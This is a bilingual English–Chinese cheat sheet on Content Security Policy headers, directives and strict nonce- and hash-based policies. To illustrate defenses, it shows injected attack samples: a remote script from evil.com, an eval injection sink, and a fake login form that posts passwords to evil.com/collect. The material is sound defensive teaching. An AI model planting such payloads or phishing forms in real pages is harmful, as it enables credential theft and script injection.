Content Security Policy Cheat Sheet¶
Introduction / 介绍¶
This article brings forth a way to integrate the defense in depth concept to the client-side of web applications. By injecting the Content-Security-Policy (CSP) headers from the server, the browser is aware and capable of protecting the user from dynamic calls that will load content into the page currently being visited.
Context / 上下文¶
The increase in XSS (Cross-Site Scripting), clickjacking, and cross-site leak vulnerabilities demands a more defense in depth security approach.
Defense against XSS¶
CSP defends against XSS attacks in the following ways:
1. Restricting Inline Scripts¶
By preventing the page from executing inline scripts, attacks like injecting
<script>document.body.innerHTML='defaced'</script>
will not work.
2. Restricting Remote Scripts / 2. 限制远程脚本¶
By preventing the page from loading scripts from arbitrary servers, attacks like injecting
通过阻止页面从任意服务器加载脚本,可以防止注入攻击
<script src="https://evil.com/hacked.js"></script>
will not work.
3. Restricting Unsafe JavaScript / 3. 限制不安全JavaScript¶
By preventing the page from executing text-to-JavaScript functions like eval, the website will be safe from vulnerabilities like the this:
通过阻止页面执行文本到JavaScript函数,如eval,网站将免受此类漏洞的威胁:
// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);
4. Restricting Form submissions / 4. 限制表单提交¶
By restricting where HTML forms on your website can submit their data, injecting phishing forms won't work either.
通过限制网站上的HTML表单提交数据的位置,钓鱼表单的注入也将失效。
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>
<label>Password</label>
<input type="password" name="pass"/>
<input type="Submit" value="Login"/>
</form>
5. Restricting Objects / 5. 限制对象¶
And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.
通过限制HTML object 标签,攻击者也无法在页面上注入恶意的Flash/Java/其他遗留可执行文件。
Defense against framing attacks / 防御框架攻击¶
Attacks like clickjacking and some variants of browser side-channel attacks (xs-leaks) require a malicious website to load the target website in a frame.
类似于点击劫持和一些浏览器侧信道攻击(xs-leaks)的攻击需要恶意网站在框架中加载目标网站。
Historically the X-Frame-Options header has been used for this, but it has been obsoleted by the frame-ancestors CSP directive.
历史性地,X-Frame-Options头被用于此目的,但已被frame-ancestorsCSP指令所取代。
Defense in Depth / 深度防御¶
A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS. Although CSP doesn't prevent web applications from containing vulnerabilities, it can make those vulnerabilities significantly more difficult for an attacker to exploit.
强大的CSP为各种类型的安全漏洞提供了有效的__第二层__保护,尤其是XSS。尽管CSP不能阻止Web应用程序包含漏洞,但它可以使攻击者利用这些漏洞变得更加困难。
Even on a fully static website, which does not accept any user input, a CSP can be used to enforce the use of Subresource Integrity (SRI). This can help prevent malicious code from being loaded on the website if one of the third-party sites hosting JavaScript files (such as analytics scripts) is compromised.
即使在完全静态的网站上,该网站不接受任何用户输入,也可以使用CSP来强制执行[子资源完整性(SRI)](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)的使用。这有助于防止恶意代码在网站上的加载,如果托管JavaScript文件(如分析脚本)的第三方网站被入侵。
With all that being said, CSP should not be relied upon as the only defensive mechanism against XSS. You must still follow good development practices such as the ones described in Cross-Site Scripting Prevention Cheat Sheet, and then deploy CSP on top of that as a bonus security layer.
尽管如此,CSP__不应__作为防御XSS的唯一机制。您仍然必须遵循良好的开发实践,如跨站脚本预防作弊表中描述的,然后在上面部署CSP作为额外的安全层。
Policy Delivery / 策略交付¶
You can deliver a Content Security Policy to your website in three ways.
您可以通过三种方式向您的网站提供内容安全策略。
1. Content-Security-Policy Header / 1. 内容安全策略头部¶
Send a Content-Security-Policy HTTP response header from your web server.
从您的Web服务器发送内容安全策略HTTP响应头部。
Content-Security-Policy: ...
Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.
使用头部是首选方式,并支持完整的内容安全策略功能集。在所有HTTP响应中发送它,而不仅仅是索引页面。
This is a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+
这是一个W3C规范标准头部。被Firefox 23+、Chrome 25+和Opera 19+支持。
2. Content-Security-Policy-Report-Only Header / 2. 内容安全策略仅报告头部¶
Using the Content-Security-Policy-Report-Only, you can deliver a CSP that doesn't get enforced.
使用Content-Security-Policy-Report-Only,您可以提供不强制执行的内容安全策略。
Content-Security-Policy-Report-Only: ...
Still, violation reports are printed to the console and delivered to a violation endpoint if the report-to and report-uri directives are used.
尽管如此,违规报告会打印到控制台,并在使用report-to和report-uri指令时发送到违规端点。
This is also a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+, whereby the policy is non-blocking ("fail open") and a report is sent to the URL designated by the report-uri (or newer report-to) directive. This is often used as a precursor to utilizing CSP in blocking mode ("fail closed")
这也是一个W3C规范标准头部。由Firefox 23+、Chrome 25+和Opera 19+支持,策略为非阻塞(“失败打开”)并向report-uri(或较新的report-to)指令指定的URL发送报告。这通常用作在阻塞模式(“失败关闭”)下使用CSP的先导步骤。
Browsers fully support the ability of a site to use both Content-Security-Policy and Content-Security-Policy-Report-Only together, without any issues. This pattern can be used for example to run a strict Report-Only policy (to get many violation reports), while having a looser enforced policy (to avoid breaking legitimate site functionality).
浏览器完全支持网站同时使用Content-Security-Policy和Content-Security-Policy-Report-Only的能力,而不会出现任何问题。这种模式可以用于例如运行严格的Report-Only策略(以获取大量违规报告),同时保持较宽松的执行策略(以避免破坏合法网站功能)。
3. Content-Security-Policy Meta Tag / 3. 内容安全策略Meta标签¶
Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.
有时如果你,例如,在CDN上部署HTML文件,而头部不在你的控制之下,则无法使用Content-Security-Policy头部。
In this case, you can still use CSP by specifying a http-equiv meta tag in the HTML markup, like so:
在这种情况下,你仍然可以通过在HTML标记中指定http-equiv元标签来使用CSP,如下所示:
<meta http-equiv="Content-Security-Policy" content="...">
Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.
几乎所有的功能仍然被支持,包括完整的XSS防御。然而,你将无法使用框架保护、沙箱或CSP违规日志记录端点。
WARNING / 警告¶
DO NOT use X-Content-Security-Policy or X-WebKit-CSP. Their implementations are obsolete (since Firefox 23, Chrome 25), limited, inconsistent, and incredibly buggy.
__不要__使用X-Content-Security-Policy或X-WebKit-CSP。它们的实现已经过时(自Firefox 23、Chrome 25以来),功能有限、不一致,并且存在大量错误。
CSP Types (granular/allowlist based or strict)¶
For original research on allowlist weaknesses, see CSP Is Dead, Long Live CSP!.
关于允许列表弱点的原始研究,请参阅CSP 已死,长生不老 CSP!.
The original mechanism for building a CSP involved creating allow-lists which would define the content and sources that were permitted in the context of the HTML page.
构建 CSP 的原始机制涉及创建允许列表,该列表将定义在 HTML 页面上下文中允许的内容和来源。
However, current leading practice is to create a "Strict" CSP which is much easier to deploy and more secure as it is less likely to be bypassed.
然而,当前的领先实践是创建一个“严格”的 CSP,它更容易部署且更安全,因为它不太可能被绕过。
Strict CSP / 严格 CSP¶
A strict CSP can be created by using a limited number of the granular Fetch Directives listed below along with one of two mechanisms:
可以通过使用以下列出的有限的Fetch 指令之一以及两种机制之一来创建严格 CSP:
- Nonce based
中文:基于 Nonce - Hash based
中文:基于 Hash
The strict-dynamic directive can optionally also be used to make it easier to implement a Strict CSP.
strict-dynamic 指令也可以选择使用,以使实施严格 CSP 更容易。
The following sections will provide some basic guidance to these mechanisms but it is strongly recommended to follow Google's detailed and methodological instructions for creating a Strict CSP:
以下章节将提供一些关于这些机制的基本指导,但强烈建议遵循谷歌的详细且方法性的说明来创建严格的CSP:
Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)
Nonce based / 基于 Nonce¶
Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:
非ces是唯一的单次使用随机值,您为每个HTTP响应生成这些值,并将其添加到Content-Security-Policy头部,如下所示:
const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:
然后,您将此非ces传递给您的视图(使用非ces需要非静态HTML)并渲染类似以下的脚本标签:
<script nonce="<%= nonce %>">
...
</script>
Warning / 警告¶
Don't create a middleware that replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.
__不要__创建一个中间件来替换所有脚本标签为"script nonce=...",因为攻击者注入的脚本也会获得这些非ces。您需要一个实际的HTML模板引擎来使用非ces。
Hashes / 哈希值¶
When inline scripts are required, the script-src 'hash_algo-hash' is another option for allowing only specific scripts to execute.
当需要内联脚本时,script-src 'hash_algo-hash'是允许仅执行特定脚本的另一种选项。
Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='
To get the hash, look at Google Chrome developer tools for violations like this:
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "..." Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce...
中文:❌ 拒绝执行内联脚本,因为它违反了以下内容安全策略指令:"..." 或者 'unsafe-inline' 关键字,一个哈希('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='),或者一个nonce...
You can also use this hash generator. This is a great example of using hashes.
Note¶
Using hashes can be a risky approach. If you change anything inside the script tag (even whitespace) by, e.g., formatting your code, the hash will be different, and the script won't render.
strict-dynamic¶
The strict-dynamic directive can be used as part of a Strict CSP in combination with either hashes or nonces.
If a script block which has either the correct hash or nonce is creating additional DOM elements and executing JS inside of them, strict-dynamic tells the browser to trust those elements as well without having to explicitly add nonces or hashes for each one.
Note that while strict-dynamic is a CSP level 3 feature, CSP level 3 is very widely supported in common, modern browsers.
请注意,虽然 strict-dynamic 是 CSP 3 级别特性,但 CSP 3 级别在常见的现代浏览器中得到了非常广泛的支持。
For more details, check out strict-dynamic usage.
更多详情,请查看strict-dynamic 使用。
Detailed CSP Directives / 详细 CSP 指令¶
Multiple types of directives exist that allow the developer to control the flow of the policies granularly. Note that creating a non-Strict policy that is too granular or permissive is likely to lead to bypasses and a loss of protection.
存在多种类型的指令,允许开发者对策略的流动进行细粒度控制。请注意,创建过于细粒度或过于宽松的非严格策略可能会导致绕过和保护丢失。
Fetch Directives / Fetch 指令¶
Fetch directives tell the browser the locations to trust and load resources from.
Fetch 指令告诉浏览器信任的位置以及从哪些位置加载资源。
Most fetch directives have a certain fallback list specified in w3. This list allows for granular control of the source of scripts, images, files, etc.
大多数 fetch 指令都有一定在 w3 中指定的回退列表。此列表允许对脚本、图像、文件等的来源进行细粒度控制。
child-srcallows the developer to control nested browsing contexts and worker execution contexts.
中文:child-src允许开发者控制嵌套的浏览上下文和工作者执行上下文。connect-srcprovides control over fetch requests, XHR, eventsource, beacon and websockets connections.
中文:connect-src提供了对 fetch 请求、XHR、eventsource、beacon 和 websockets 连接的控制。font-srcspecifies which URLs to load fonts from.
中文:font-src指定从哪些 URL 加载字体。img-srcspecifies the URLs that images can be loaded from.
中文:img-src指定可以加载图像的 URL。manifest-srcspecifies the URLs that application manifests may be loaded from.
中文:manifest-src指定可以加载应用程序清单的 URL。media-srcspecifies the URLs from which video, audio and text track resources can be loaded from.
中文:media-src指定可以加载视频、音频和文本轨道资源的 URL。prefetch-srcwas an experimental directive for prefetch/prerender resource URLs. It was removed from the CSP Level 3 specification and is ignored by modern browsers — do not rely on it for defense. Constrain scripts, styles, and default fetches with the standard fetch directives instead.
中文:prefetch-src是一个用于预取/预渲染资源URL的实验性指令。它已被从CSP Level 3规范中__移除__,并且现代浏览器会忽略它——不要依赖于它进行防御。相反,使用标准的fetch指令来限制脚本、样式和默认的fetch。object-srcspecifies the URLs from which plugins can be loaded from.
中文:object-src指定可以加载插件的 URL。script-srcspecifies the locations from which a script can be executed from. It is a fallback directive for other script-like directives.
中文:script-src指定脚本可以执行的来源位置。它是其他类似脚本的回退指令。script-src-elemcontrols the location from which execution of script requests and blocks can occur.
中文:script-src-elem控制脚本请求和块执行的来源位置。script-src-attrcontrols the execution of event handlers.
中文:script-src-attr控制事件处理器的执行。
style-srccontrols from where styles get applied to a document. This includes<link>elements,@importrules, and requests originating from aLinkHTTP response header field.
中文:style-src控制样式应用到文档的位置。这包括<link>元素、@import规则以及来自LinkHTTP 响应头字段的请求。style-src-elemcontrols styles except for inline attributes.
中文:style-src-elem控制除内联属性外的样式。style-src-attrcontrols styles attributes.
中文:style-src-attr控制样式属性。
default-srcis a fallback directive for the other fetch directives. Directives that are specified have no inheritance, yet directives that are not specified will fall back to the value ofdefault-src.
中文:default-src是其他获取指令的回退指令。已指定的指令没有继承性,而未指定的指令将回退到default-src的值。
Document Directives / 文档指令¶
Document directives instruct the browser about the properties of the document to which the policies will apply to.
文档指令指导浏览器关于将应用策略的文档的属性。
base-urispecifies the possible URLs that the<base>element can use.
中文:base-uri指定<base>元素可以使用的可能 URL。plugin-typeshas been removed from the CSP specification. Do not rely on it to enforce content types. Useobject-src 'none'when embedded objects are unnecessary, as in the strict policy examples.
中文:plugin-types已从CSP规范中移除。不要依赖于它来强制内容类型。当不需要嵌入对象时(如严格策略示例中所示),使用object-src 'none'。sandboxrestricts a page's actions such as submitting forms.
中文:沙盒限制了页面的操作,例如提交表单。- Only applies when used with the request header
Content-Security-Policy.
中文:仅在用于请求头Content-Security-Policy时适用。 - Not specifying a value for the directive activates all of the sandbox restrictions.
Content-Security-Policy: sandbox;
中文:未指定指令的值将激活所有沙盒限制。Content-Security-Policy: sandbox; - Sandbox syntax) (沙盒语法)
- Only applies when used with the request header
Navigation Directives / 导航指令¶
Navigation directives instruct the browser about the locations that the document can navigate to or be embedded from.
导航指令指导浏览器关于文档可以导航到的位置或嵌入的位置。
form-actionrestricts the URLs which the forms can submit to.
中文:form-action限制了表单可以提交到的 URL。frame-ancestorsrestricts the URLs that can embed the requested resource inside of<frame>,<iframe>,<object>,<embed>, or<applet>elements.
中文:frame-ancestors限制了可以嵌入请求资源到<frame>、<iframe>、<object>、<embed>或<applet>元素中的 URL。- If this directive is specified in a
<meta>tag, the directive is ignored.
中文:如果此指令在<meta>标签中指定,则该指令将被忽略。 - This directive doesn't fallback to the
default-srcdirective.
中文:此指令不会回退到default-src指令。 X-Frame-Optionsis rendered obsolete by this directive and is ignored by the user agents.
中文:X-Frame-Options被此指令废弃,并且用户代理将忽略它。
- If this directive is specified in a
Reporting Directives / 报告指令¶
Reporting directives deliver violations of prevented behaviors to specified locations. These directives serve no purpose on their own and are dependent on other directives.
报告指令将阻止的行为违规报告发送到指定位置。这些指令本身没有作用,依赖于其他指令。
report-to(CSP Level 3, used together with the Reporting API) is the primary, current reporting directive. It references an endpoint name defined in the Reporting-Endpoints response header, which uses comma-separatedname="URL"entries. The legacyReport-Toheader uses JSON instead.
中文:report-to(CSP Level 3,与Reporting API一起使用)是__主要、当前__的报告指令。它引用了在Reporting-Endpoints响应头中定义的端点名称,该端点使用逗号分隔的name="URL"条目。旧的Report-To头使用JSON。- MDN report-to documentation) (MDN report-to 文档)
report-uriis deprecated by CSP Level 3 in favor ofreport-to. It takes a URI that reports are sent to.
中文:CSP Level 3 将report-uri废弃,并推荐使用report-to。它接受一个报告发送到的 URI。- Format:
Content-Security-Policy: report-uri https://example.com/csp-reports
中文:格式:Content-Security-Policy: report-uri https://example.com/csp-reports
- Format:
For backward compatibility, declare both directives in conjunction. Browsers that support report-to will use it and ignore report-uri; older browsers fall back to report-uri. Once support for legacy browsers is no longer required, report-uri can be removed.
为了向后兼容,同时声明这两个指令。支持 report-to 的浏览器将使用它并忽略 report-uri;较旧的浏览器将回退到 report-uri。一旦不再需要支持旧版浏览器,可以移除 report-uri。
Special Directive Sources / 特殊指令来源¶
| Value / 值 | Description / 描述 |
|---|---|
| 'none' | No URLs match. 无URL匹配。 |
| 'self' | Refers to the origin site with the same scheme and port number. 指向具有相同协议和端口号的源站点。 |
| 'unsafe-inline' | Allows the usage of inline scripts or styles. 允许使用内联脚本或样式。 |
| 'unsafe-eval' | Allows the usage of eval in scripts. 允许在脚本中使用eval。 |
To better understand how the directive sources work, check out the source lists from w3c.
为了更好地理解指令来源的工作原理,请查看来自w3c的源列表。
CSP Sample Policies / CSP示例策略¶
Strict Policy / 严格策略¶
A strict policy's role is to protect against classical stored, reflected, and some of the DOM XSS attacks and should be the optimal goal of any team trying to implement CSP.
严格策略的作用是防止经典的存储、反射和某些DOM XSS攻击,并且应该是任何试图实施CSP的团队的最终目标。
As noted above, Google went ahead and set up a detailed and methodological instructions for creating a Strict CSP.
如上所述,Google已经提前制定了一套详细且系统的指导来创建严格CSP。
Based on those instructions, one of the following two policies can be used to apply a strict policy:
根据这些指导,可以使用以下两种策略之一来应用严格策略:
Nonce-based Strict Policy / 基于一次性密码的严格策略¶
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Hash-based Strict Policy / 基于哈希的严格策略¶
Content-Security-Policy:
script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Basic non-Strict CSP Policy / 基本非严格内容安全策略¶
This policy can be used if it is not possible to create a Strict Policy and it prevents cross-site framing and cross-site form-submissions. It will only allow resources from the originating domain for all the default level directives and will not allow inline scripts/styles to execute.
如果无法创建严格策略,可以使用此策略,它可以防止跨站框架和跨站表单提交。它将只允许来自原始域的资源对所有默认级别指令,并且不允许内联脚本/样式的执行。
If your application functions with these restrictions, it drastically reduces your attack surface and works with most modern browsers.
如果您的应用程序在这些限制下运行,将极大地减少您的攻击面,并且与大多数现代浏览器兼容。
The most basic policy assumes:
最基本的策略假设:
- All resources are hosted by the same domain of the document.
中文:所有资源都托管在文档的同一域中。 - There are no inlines or evals for scripts and style resources.
中文:脚本和样式资源没有内联或eval。 - There is no need for other websites to frame the website.
中文:无需其他网站对网站进行框架引用。 - There are no form-submissions to external websites.
中文:没有表单提交到外部网站。
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
To tighten further, one can apply the following:
为了进一步强化,可以应用以下措施:
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';
This policy allows images, scripts, AJAX, and CSS from the same origin and does not allow any other resources to load (e.g., object, frame, media, etc.).
此策略允许来自同一源头的图片、脚本、AJAX和CSS,但不允许加载任何其他资源(例如,object、frame、media等)。
Upgrading insecure requests / 升级不安全请求¶
If the developer is migrating from HTTP to HTTPS, the following directive will ensure that all requests will be sent over HTTPS with no fallback to HTTP:
如果开发者正在从HTTP迁移到HTTPS,以下指令将确保所有请求都将通过HTTPS发送,不会回退到HTTP:
Content-Security-Policy: upgrade-insecure-requests;
Preventing framing attacks (clickjacking, cross-site leaks) / 防止框架攻击(点击劫持、跨站泄露)¶
- To prevent all framing of your content use:
中文:要防止对您内容的所有框架引用,请使用:Content-Security-Policy: frame-ancestors 'none';
中文:内容安全策略:frame-ancestors 'none';
- To allow for the site itself, use:
中文:为了允许站点本身,使用以下方法:Content-Security-Policy: frame-ancestors 'self';
中文:内容安全策略:frame-ancestors 'self';
- To allow for trusted domain, do the following:
中文:为了允许受信任的域名,执行以下操作:Content-Security-Policy: frame-ancestors trusted.com;
中文:内容安全策略:frame-ancestors trusted.com;
Refactoring inline code / 重构内联代码¶
When default-src or script-src* directives are active, CSP by default disables any JavaScript code placed inline in the HTML source, such as this:
当 default-src 或 script-src* 指令激活时,CSP 默认禁用 HTML 源中放置的任何内联 JavaScript 代码,例如以下代码:
<script>
var foo = "314"
<script>
The inline code can be moved to a separate JavaScript file and the code in the page becomes:
内联代码可以移动到单独的 JavaScript 文件,页面中的代码变为:
<script src="app.js">
</script>
With app.js containing the var foo = "314" code.
app.js 包含 var foo = "314" 代码。
The inline code restriction also applies to inline event handlers, so that the following construct will be blocked under CSP:
内联代码限制也适用于 内联事件处理器,因此以下结构在 CSP 下将被阻止:
<button id="button1" onclick="doSomething()">
This should be replaced by addEventListener calls:
这应该被 addEventListener 调用所替换:
document.getElementById("button1").addEventListener('click', doSomething);
References / 参考¶
- W3C Content Security Policy Level 3) (W3C 内容安全策略第 3 级)
- MDN Content-Security-Policy header) (MDN 内容安全策略头部)
- Strict CSP deployment guidance) (严格 CSP 部署指南)